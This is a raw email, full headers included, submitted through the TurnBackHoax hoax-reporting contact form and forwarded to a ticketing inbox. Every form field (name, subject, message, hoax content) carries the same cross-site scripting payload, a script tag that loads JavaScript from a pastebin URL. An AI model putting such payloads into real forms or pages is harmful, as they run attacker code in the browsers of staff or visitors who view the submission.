|
Return-Path: <sufehmi@gmail.com>
|
|
Received: from m.launchco.com ([127.0.0.1]) by m.launchco.com (Dovecot) with LMTP id 6nYRM/o9s1xBIwAAa1G0NA for <dropbox@plan.io>; Sun, 14 Apr 2019 16:05:46 +0200
|
|
Received: from pdx1-sub0-mail-mx58.g.dreamhost.com (mx2.dreamhost.com [64.90.62.164]) (using TLSv1.2 with cipher ECDHE-RSA-AES256-GCM-SHA384 (256/256 bits)) (No client certificate requested) by m.launchco.com (Postfix) with ESMTPS id 02D6F253B1 for <inbox+rlxc+36be+hoax-clearing-center@plan.io>; Sun, 14 Apr 2019 16:05:45 +0200
|
|
Received: from vade-backend13.dreamhost.com (fltr-in2.mail.dreamhost.com [66.33.205.213]) (using TLSv1.2 with cipher AECDH-AES256-SHA (256/256 bits)) (No client certificate requested) by pdx1-sub0-mail-mx58.g.dreamhost.com (Postfix) with ESMTPS id 1A46D8B942 for <lapor@turnbackhoax.id>; Sun, 14 Apr 2019 07:05:44 -0700
|
|
Received: from mail-it1-f175.google.com (mail-it1-f175.google.com [209.85.166.175]) by vade-backend13.dreamhost.com (Postfix) with ESMTPS id D32134000105D for <lapor@turnbackhoax.id>; Sun, 14 Apr 2019 07:05:43 -0700
|
|
Received: by mail-it1-f175.google.com with SMTP id 139so22802552ita.4 for <lapor@turnbackhoax.id>; Sun, 14 Apr 2019 07:05:43 -0700
|
|
Received: from 629026133089 named unknown by gmailapi.google.com with HTTPREST; Sun, 14 Apr 2019 10:05:42 -0400
|
|
Date: Sun, 14 Apr 2019 10:05:42 -0400
|
|
From: sufehmi@gmail.com
|
|
Reply-To: t@g.com
|
|
To: lapor@turnbackhoax.id
|
|
Message-ID: <CAOTKKcu71gtVjjDj5dV41Aq2xOdg6L9Wq_fTYgPuxasi_C-dXA@mail.gmail.com>
|
|
Subject: TurnBackHoax "<script src="https://pastebin.com/CEguwtai" ><script>"
|
|
Mime-Version: 1.0
|
|
Content-Type: text/plain;
|
|
charset=UTF-8
|
|
Content-Transfer-Encoding: 7bit
|
|
X-He-Spam-Score: -2.0
|
|
Delivered-To: <dropbox@plan.io>
|
|
X-Spam-Checker-Version: SpamAssassin 3.4.2 (2018-09-13) on m.launchco.com
|
|
X-Spam-Level:
|
|
X-Spam-Status: No, score=-2.0 required=5.0 tests=BAYES_00,DKIM_SIGNED,
|
|
DKIM_VALID,DKIM_VALID_AU,FREEMAIL_FROM,RCVD_IN_DNSWL_NONE,
|
|
RCVD_IN_MSPIKE_H2,UNPARSEABLE_RELAY autolearn=ham autolearn_force=no
|
|
version=3.4.2
|
|
X-Spam-Report: * -0.0 RCVD_IN_DNSWL_NONE RBL: Sender listed at
|
|
http://www.dnswl.org/, * no trust * [64.90.62.164 listed in list.dnswl.org] *
|
|
-1.9 BAYES_00 BODY: Bayes spam probability is 0 to 1% * [score: 0.0000] * -0.0
|
|
RCVD_IN_MSPIKE_H2 RBL: Average reputation (+2) * [64.90.62.164 listed in
|
|
wl.mailspike.net] * 0.0 FREEMAIL_FROM Sender email is commonly abused enduser
|
|
mail * provider (1636577467[at]qq.com) (512260195[at]qq.com) *
|
|
(sufehmi[at]gmail.com) * -0.1 DKIM_VALID_AU Message has a valid DKIM or DK
|
|
signature from * author's domain * -0.1 DKIM_VALID Message has at least one
|
|
valid DKIM or DK signature * 0.1 DKIM_SIGNED Message has a DKIM or DK
|
|
signature, not necessarily * valid * 0.0 UNPARSEABLE_RELAY Informational:
|
|
message has unparseable relay * lines
|
|
X-Spam-Score: -2.0
|
|
Envelope-to: inbox+rlxc+36be+hoax-clearing-center@plan.io
|
|
Authentication-Results: m.launchco.com; dkim=pass reason="2048-bit key;
|
|
unprotected key" header.d=gmail.com header.i=@gmail.com header.b=iDHZl1xO;
|
|
dkim-adsp=pass; dkim-atps=neutral
|
|
Authentication-Results: vade-backend13.dreamhost.com; dkim=pass
|
|
reason="2048-bit key; unprotected key" header.d=gmail.com header.i=@gmail.com
|
|
header.b=iDHZl1xO; dkim-adsp=pass; dkim-atps=neutral
|
|
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20161025;
|
|
h=from:reply-to:mime-version:date:message-id:subject:to;
|
|
bh=JWLYgC5bdK+A36kwPTEI3MxkLaJ6RBNsIqWgEDDp5bc=;
|
|
b=iDHZl1xOVpL4p3se4FnSte0RmAHurm3bynbSGVtuetceukYCCGdnG6sXTOEsIWx2hh
|
|
8FbpJQxqwtYCAwb40kIiV+bE1qTm19cEMWHTtFxCopbBiXBCEWnm+Mf+gz4yaiAcN5jA
|
|
Vz3Q/DlRbFIV0gJTkrSyLK4cuELJaS885byZPYr43/ZO5/HI5OSkvp0JJulZb5SNE2CF
|
|
nf1DTCeIDsezgqhGW9ODTMIurHK0GLk5OItZC0TyRE1hVy+7v9TQG/gLzutJ0zNxaRi9
|
|
r8O5mNn9E1mcl7Ciprc4jeITY832CXp+oDVcAyiOJkh9tZoqgGuf2YXRiltf9h1g88XQ Jr7g==
|
|
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=1e100.net;
|
|
s=20161025; h=x-gm-message-state:from:reply-to:mime-version:date:message-id
|
|
:subject:to; bh=JWLYgC5bdK+A36kwPTEI3MxkLaJ6RBNsIqWgEDDp5bc=;
|
|
b=mJny2ZZO7PCL9JHfh8QJiP1q2Kygft0KUMLoYJqJRRq3v7jNr2g+a/AkDYnD1KrNHg
|
|
9pZEwCKdruanp5BlNYwOc1HKQFlXOq1XIY8C5+0VYaczKOSuf/WeX4UtN78ld6WPOrDY
|
|
VbwJ0H/nlpvZn2NYpO/I2GC/E1V9JndmSDGMafHGxegNsndSPVVWailPeI9JhEWRdwlm
|
|
EQ2b5hfqFev/Bh5bN5kEScEi5EHkbJAzG9gnpAvbrzhDVuskgclPM+0cKsg260bNtoaG
|
|
EjJlHUy3zXSGmZCPAz8gDlGBU946ou1UICTd7I+uo4LQw1b47PmqUj6IlxotjlV8I4Ax dKZQ==
|
|
X-Gm-Message-State: APjAAAWG6iINTe9C15a+mB8X83N3M5/Cv9g3rIrpmDbEBygK3OUlgo9W
|
|
3iI33UJQAjntHNlypuMcxYl3bdFe26mZrCHH15qbAhTi
|
|
X-Google-Smtp-Source: APXvYqwlewykr34/bSfg/atuF2Y++ie6mZunb9GxyaRiksjhjmZRIWiS7t8Nq88NU0tZskap6OjcY9Z58Q5NLhyJMxE=
|
|
X-Received: by 2002:a24:d9d0:: with SMTP id
|
|
p199mr21928170itg.104.1555250742883; Sun, 14 Apr 2019 07:05:42 -0700 (PDT)
|
|
X-Mailer: WPMailSMTP/Mailer/gmail 1.4.2
|
|
X-VR-STATUS: OK
|
|
X-VR-SCORE: 0
|
|
X-VR-SPAMCAUSE: gggruggvucftvghtrhhoucdtuddrgeduuddrtdehgdejlecutefuodetggdotefrodftvfcurfhrohhfihhlvgemucggtfgfnhhsuhgsshgtrhhisggvpdfftffgtefojffquffvnecuuegrihhlohhuthemuceftddtnecunecujfgurhephfhrofggfffkuffvtgesthdtredtredtjeenucfhrhhomhepshhufhgvhhhmihesghhmrghilhdrtghomhenucffohhmrghinhepphgrshhtvggsihhnrdgtohhmpdhtuhhrnhgsrggtkhhhohgrgidrihgunecukfhppedvtdelrdekhedrudeiiedrudejheenucfrrghrrghmpehmohguvgepshhmthhppdhhvghlohepmhgrihhlqdhithduqdhfudejhedrghhoohhglhgvrdgtohhmpdhinhgvthepvddtledrkeehrdduieeirddujeehpdhrvghtuhhrnhdqphgrthhhpehsuhhfvghhmhhisehgmhgrihhlrdgtohhmpdhmrghilhhfrhhomhepshhufhgvhhhmihesghhmrghilhdrtghomhdpnhhrtghpthhtoheplhgrphhorhesthhurhhnsggrtghkhhhorgigrdhiugenucevlhhushhtvghrufhiiigvpedt
|
|
|
|
From: <script src="https://pastebin.com/CEguwtai" ><script> <t@g.com>
|
|
Subject: <script src="https://pastebin.com/CEguwtai" ><script>
|
|
|
|
Pesan dari Pelapor:
|
|
|
|
<script src="https://pastebin.com/CEguwtai" ><script>
|
|
|
|
======
|
|
Isi Hoax :
|
|
|
|
<script src="https://pastebin.com/CEguwtai" ><script>
|
|
|
|
--
|
|
This e-mail was sent from a contact form on TurnBackHoax
|
|
(https://www.turnbackhoax.id/lapor-hoax/)
|
.